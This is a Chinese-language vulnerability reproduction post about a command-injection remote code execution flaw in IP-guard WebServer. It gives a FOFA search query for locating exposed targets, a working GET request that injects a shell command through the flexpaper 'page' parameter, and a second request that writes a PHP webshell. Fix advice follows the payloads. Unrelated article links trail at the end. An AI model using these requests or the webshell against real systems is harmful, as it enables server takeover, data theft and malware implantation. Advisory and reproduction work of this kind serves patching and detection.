当前位置: 首页 > news >正文

IP-guard WebServer RCE漏洞复现

0x01 产品简介

   IP-guard是由溢信科技股份有限公司开发的一款终端安全管理软件,旨在帮助企业保护终端设备安全、数据安全、管理网络使用和简化IT系统管理。

0x02 漏洞概述

 漏洞成因
    在Web应用程序的实现中,参数的处理和验证是确保应用安全的关键环节。然而,当参数处理不当时,就会出现安全漏洞,给攻击者留下可利用的空间。在此次 IP-guard 的漏洞中,关键问题出现在对某个参数的处理上。该参数原本用于指定要查看的文档页面。但由于未对输入进行适当的过滤和限制,攻击者能够通过命令注入的方式,利用该参数在服务器上执行任意命令。
利用特征
   针对这个漏洞,从流量层面的利用特征表现在不寻常的HTTP GET请求中。在正常情况下,这个存在漏洞的参数应该只包含数字或预定义格式的数据,用于指定文档的特定页面。然而在攻击流量中,该参数的值包含了操作系统命令,这些命令通常以特殊字符(如管道符 ||)开始,后跟可执行的系统命令。
漏洞影响
   该漏洞的成功利用允许攻击者在服务器上远程执行命令,导致服务器完全被接管。同时,攻击者不仅可以利用漏洞获取对服务器的控制权,进而还可能访问或删除敏感数据,植入恶意软件,甚至使用服务器作为发起进一步攻击的跳板。

0x03 影响范围

 IP-guard < 4.81.0307.0

0x04 复现环境

FOFA:"IP-guard" && icon_hash="2030860561"

0x05 漏洞复现

PoC

GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=1.jpg&format=swf&isSplit=true&page=||echo+123456+>1.txt HTTP/1.1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

写文件 

验证 

GET /ipg/static/appr/lib/flexpaper/php/1.txt HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

 漏洞利用

 写WebShell

GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=1.jpg&format=swf&isSplit=true&page=||echo+^<?php+@mb_eregi_replace('.*',$_POST['a'],'','ee');?^>+>1.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

验证

 0x06 修复建议

临时缓解方案
    配置入侵检测系统(IDS)和入侵防御系统(IPS)以及Web应用防火墙(WAF),以识别和阻止包含这类特征的请求,从而保护系统免受此类远程命令执行攻击的影响;同时为了避免攻击者绕过安全设备实施攻击,建议尽快修复漏洞。
   如非必要,不要将 IP-guard 放置在公网上。或通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求。
升级修复方案
   官方已发布新版本修复漏洞,建议尽快访问官网(https://www.ip-guard.net/)或联系官方售后支持获取版本升级安装包或补丁,升级至4.81.0307.0版本及以上

 

相关文章:

  • JavaEE初阶学习:Linux 基本使用和 web 程序部署
  • 十进制转换成2进制
  • 建设大型综合运维平台,对接集成多厂商网管系统
  • 线程池创建、执行、销毁的原理解析
  • Python 解决tkinter的Menu菜单command参数与bind方法共用触发事件
  • 如何设置静态IP
  • 【云栖2023】王峰:开源大数据平台3.0技术解读
  • RedisTemplate 使用 pipeline 时需要注意的问题
  • 在opencv OpenCV中打开相机摄像头,用分水岭算法实时实现图像的分割与提取
  • 策略模式~
  • 本地浏览器全局翻译 demo 以火狐firefox为例【免费-简单】
  • 用于图像处理的高斯滤波器 (LoG) 拉普拉斯
  • Sentinel网关限流
  • 前端 a链接 如何实现下载功能
  • Java用Jsoup库实现的多线程爬虫代码
  • [case10]使用RSQL实现端到端的动态查询
  • [译]Python中的类属性与实例属性的区别
  • 【知识碎片】第三方登录弹窗效果
  • android 一些 utils
  • Android单元测试 - 几个重要问题
  • Date型的使用
  • Dubbo 整合 Pinpoint 做分布式服务请求跟踪
  • ESLint简单操作
  • Fundebug计费标准解释:事件数是如何定义的?
  • happypack两次报错的问题
  • jdbc就是这么简单
  • python3 使用 asyncio 代替线程
  • Redis 中的布隆过滤器
  • springMvc学习笔记(2)
  • Webpack 4x 之路 ( 四 )
  • 融云开发漫谈:你是否了解Go语言并发编程的第一要义?
  • 用jquery写贪吃蛇
  • 《TCP IP 详解卷1:协议》阅读笔记 - 第六章
  • NLPIR智能语义技术让大数据挖掘更简单
  • 好程序员web前端教程分享CSS不同元素margin的计算 ...
  • !!【OpenCV学习】计算两幅图像的重叠区域
  • #HarmonyOS:基础语法
  • (06)Hive——正则表达式
  • (Matlab)基于蝙蝠算法实现电力系统经济调度
  • (PWM呼吸灯)合泰开发板HT66F2390-----点灯大师
  • (附源码)apringboot计算机专业大学生就业指南 毕业设计061355
  • (附源码)springboot社区居家养老互助服务管理平台 毕业设计 062027
  • (五) 一起学 Unix 环境高级编程 (APUE) 之 进程环境
  • (小白学Java)Java简介和基本配置
  • ***通过什么方式***网吧
  • .NET 4 并行(多核)“.NET研究”编程系列之二 从Task开始
  • .NET分布式缓存Memcached从入门到实战
  • .net经典笔试题
  • .Net转Java自学之路—基础巩固篇十三(集合)
  • .pyc文件是什么?
  • /etc/sudoer文件配置简析
  • ;号自动换行
  • @autowired注解作用_Spring Boot进阶教程——注解大全(建议收藏!)
  • @SentinelResource详解
  • [ vulhub漏洞复现篇 ] JBOSS AS 4.x以下反序列化远程代码执行漏洞CVE-2017-7504